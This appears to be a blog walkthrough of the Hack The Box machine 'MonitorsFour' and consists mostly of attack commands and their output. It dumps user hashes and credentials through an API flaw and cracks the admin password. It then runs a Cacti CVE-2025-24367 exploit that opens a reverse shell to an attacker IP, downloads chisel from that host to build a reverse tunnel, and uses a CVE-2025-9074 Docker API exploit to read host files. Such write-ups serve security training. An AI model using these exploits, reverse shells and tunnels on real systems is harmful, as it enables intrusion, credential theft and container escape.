Post

MonitorsFour

MonitorsFour

Recon

Directories Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt:FUZZ -u http://monitorsfour.htb/FUZZ -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

contact                 [Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 294ms]
user                    [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 307ms]
login                   [Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 313ms]
static                  [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 154ms]
views                   [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 156ms]
controllers             [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 156ms]
forgot-password         [Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 156ms]
:: Progress: [26583/26583] :: Job [1/1] :: 186 req/sec :: Duration: [0:02:20] :: Errors: 1 ::

API Exploitation

Visiting /user: {"error":"Missing token parameter"} Giving token=0 parameter:

1
2
3
[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},
{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},
{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]

Cracking the password using crackstation.net:

1
2
3
4
5
Hash	Type	Result
56b32eb43e6f15395f6c46c1c9e1cd36	md5	wonderful1
69196959c16b26ef00b77d82cf6eb169	Unknown	Not found.
2a22dcf99190c322d974c8df5ba3256b	Unknown	Not found.
8d4a7e7fd08555133e056d9aacb1e519	Unknown	Not found.

admin:wonderful1

We can use the above creds to login on the main website.

Snooping in admin dashboard

From changelogs tab we noticed: To enhance our product delivery, we have migrated to Windows and ported websites to Docker via Docker Desktop 4.44.2.

CVE-2025-9074 - Host File Read

Subdomain Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ ffuf -t 400 -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/combined_subdomains.txt
 :: Header           : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 400
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 198ms]

We also found an interesting subdomain cacti.

Cacti

We are immediately greeted with a login page http://cacti.monitorsfour.htb/cacti/:

admin:wonderful1 fails. Cacti is typically used by SysAdmins, we can try to use the permutation of the name of SysAdmin Marcus Higgins.

marcus:wonderful1 works, we have access. Cacti version is Version 1.2.28. It is vulnerable to PHP script injection:

CVE-2025-24367

The box creator himself has created a POC for the vulnerability:

CVE-2025-24367 POC

Shell as www-data

We will run the Cacti POC:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿vm-kali)-[~/htb/monitorsfour/CVE-2025-24367-Cacti-PoC]
└─$ python3 exploit.py -u Marcus -p wonderful1 -i 10.10.16.10 -l 1234 --url http://cacti.monitorsfour.htb 
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: oE96P.php
[+] Got payload: /bash
[i] Created PHP filename: tLuK6.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

By the looks of it we are inside a docker container:

1
www-data@821fbd6a43fa:~/html/cacti$

It can be further confirmed by:

1
2
3
4
5
6
7
www-data@821fbd6a43fa:~/html/cacti$ ls -la /
ls -la /
total 1892
drwxr-xr-x   1 root root    4096 Dec 10 11:51 .
drwxr-xr-x   1 root root    4096 Dec 10 11:51 ..
-rwxr-xr-x   1 root root       0 Nov 10 17:04 .dockerenv
<SNIPPED>

We don’t need to su marcus to get the user flag, www-data has the perms to read the user flag.

Docker

From the changelogs we noticed the version of Docker is 4.4.2 and the vulnerability states: A vulnerability was identified in Docker Desktop that allows local running Linux containers to access the Docker Engine API via the configured Docker subnet, at 192.168.65.7:2375 by default.

So let’s try to curl the API endpoint:

1
2
3
4
5
6
www-data@821fbd6a43fa:/home/marcus$ curl http://192.168.65.7:2375/version
curl http://192.168.65.7:2375/version
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   852    0   852    0     0  41756      0 --:--:-- --:--:-- --:--:-- 42600
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"28.3.2","Details":{"ApiVersion":"1.51","Arch":"amd64","BuildTime":"2025-07-09T16:13:55.000000000+00:00","Experimental":"false","GitCommit":"e77ff99","GoVersion":"go1.24.5","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.7.27","Details":{"GitCommit":"05044ec0a9a75232cad458027ca83437aae3f4da"}},{"Name":"runc","Version":"1.2.5","Details":{"GitCommit":"v1.2.5-0-g59923ef"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"28.3.2","ApiVersion":"1.51","MinAPIVersion":"1.24","GitCommit":"e77ff99","GoVersion":"go1.24.5","Os":"linux","Arch":"amd64","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","BuildTime":"2025-07-09T16:13:55.000000000+00:00"}

Time to pivot to windows using this linux container as our jump host.

Chisel

Let’s transfer chisel to establish a tunnel:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ ./chisel server -p 8000 --reverse            
2025/12/10 04:08:51 server: Reverse tunnelling enabled
2025/12/10 04:08:51 server: Fingerprint 11n9MWfvfzw+LzgLitPdDolVz7Sq3piOfWxvRgaFujA=
2025/12/10 04:08:51 server: Listening on http://0.0.0.0:8000


┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ python3 -m http.server 80       
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.21.12 - - [10/Dec/2025 04:09:55] "GET /chisel HTTP/1.1" 200 -

On victim:

1
2
3
4
5
www-data@821fbd6a43fa:/home/marcus$ curl http://10.10.16.10/chisel -o /tmp/chisel
<rcus$ curl http://10.10.16.10/chisel -o /tmp/chisel
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  9.7M  100  9.7M    0     0   794k      0  0:00:12  0:00:12 --:--:-- 1935k

We will create a tunnel for the docker API endpoint:

1
2
3
4
5
www-data@821fbd6a43fa:/tmp$ ./chisel client 10.10.16.10:8000 R:2375:192.168.65.7:2375
<el client 10.10.16.10:8000 R:2375:192.168.65.7:2375
2025/12/10 12:11:30 client: Connecting to ws://10.10.16.10:8000
2025/12/10 12:11:33 client: Connected (Latency 143.344066ms)

Root Flag

The CVE-2025-9074 doesn’t stop at the exposed API endpoint, instead it allows an isolated docker container to read the HOST files.

POC

Let’s clone the repo:

1
2
3
4
5
6
7
8
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ git clone https://github.com/j3r1ch0123/CVE-2025-9074.git
Cloning into 'CVE-2025-9074'...

┌──(kali㉿vm-kali)-[~/htb/monitorsfour/CVE-2025-9074]
└─$ python3 exploit.py              
usage: exploit.py [-h] -u URL -c CMD [--cleanup]
exploit.py: error: the following arguments are required: -u/--url, -c/--cmd

We will then read the root.txt (the HOST is windows, HTB follows a standard directory for root.txt on every OS):

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿vm-kali)-[~/htb/monitorsfour/CVE-2025-9074]
└─$ python3 exploit.py --url http://localhost:2375 -c 'cat /host_root/Users/Administrator/Desktop/root.txt'
[+] Container created:
{
  "Id": "1ba138f3c26322961221d035767820203a49e3766ba575361afe0e96915c5760",
  "Warnings": []
}
[+] Container 1ba138f3c26322961221d035767820203a49e3766ba575361afe0e96915c5760 started successfully!
[+] Container logs:

"<REDACTED>


This post is licensed under CC BY 4.0 by the author.